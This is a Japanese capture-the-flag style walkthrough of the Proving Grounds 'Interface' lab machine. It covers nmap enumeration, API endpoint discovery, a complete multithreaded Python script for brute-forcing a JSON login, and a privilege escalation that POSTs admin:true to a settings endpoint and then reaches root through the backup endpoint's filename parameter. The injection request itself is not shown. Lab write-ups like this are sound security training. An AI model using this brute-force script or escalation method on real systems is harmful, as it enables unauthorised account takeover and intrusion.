📑

Proving Grounds Practice interface

に公開

列挙

nmap
┌──(kali㉿kali)-[~/oscp/pg/interface]
└─$ sudo nmap -sC -sV -A -O 192.168.195.106 -p- --open -Pn                          PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 08:50:f6:e6:aa:44:d6:c4:f1:ca:3c:d1:d9:18:43:4d (RSA)
|   256 ed:c6:e6:95:88:99:58:31:14:20:38:83:01:e2:e7:15 (ECDSA)
|_  256 ba:65:96:08:a2:e2:f5:1f:af:88:6e:55:c7:9c:5f:b1 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: App

┌──(kali㉿kali)-[~/oscp/pg/interface]
└─$ sudo nmap -sU 192.168.195.106
Not shown: 1000 closed udp ports (port-unreach)

TCP/80

ブラウザでアクセスすると上記のようなページが表示されます。
Burpを見ると/api/userへのアクセスが発生しています。

実際にアクセスしてみるとユーザーのリストが取得できました。

また、/api配下には/settingsと/backupというエンドポイントがあります。

初期アクセス

ユーザーのリストが取得できたのでパスワードリストと組み合わせてブルートフォースを実行します。

JSON形式のPOSTによるブルートフォース
#!/usr/bin/env python3

from concurrent.futures import ThreadPoolExecutor as executor
import requests, sys

# 引数チェック
if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <userlist> <passlist>")
    sys.exit(1)

userlist_path = sys.argv[1]
passlist_path = sys.argv[2]

headers = {"Content-Type": "application/json", "Host": "192.168.143.106"}

def printer(msg):
    sys.stdout.write(msg + " " * 60 + "\r")
    sys.stdout.flush()

def Login(USERNAME, PASSWORD):
    printer(f"Trying: {USERNAME}:{PASSWORD}")
    data = {"username": USERNAME, "password": PASSWORD}
    try:
        req = requests.post("http://192.168.143.106/login", json=data, headers=headers, timeout=5)
        if req.status_code != 401:
            print(f"{req.status_code} | Creds> {USERNAME}:{PASSWORD}\n")
            sys.exit(0)
    except requests.exceptions.RequestException as e:
        pass  # ネットワークエラーは無視して続行

with open(userlist_path, 'r') as users:
    for user in users:
        USERNAME = user.strip()
        with open(passlist_path, 'r') as passwds:
            with executor(max_workers=20) as exe:
                for passwd in passwds:
                    PASSWORD = passwd.strip()
                    exe.submit(Login, USERNAME, PASSWORD)

アカウントが取得できました。

初期アクセス

上記のアカウントでログインができます。
ログイン後にBurpのRepeaterより/api/settingsに対してJSON形式でadmin:trueとPOSTします。

上記実行後は/api/settingsのadminの値がtrueとなり、/api/backupにアクセスできるようになります。

/api/backupのエンドポイントでfilenameというパラメータに対して以下のリクエストを送ることでrootが取得できます。

Discussion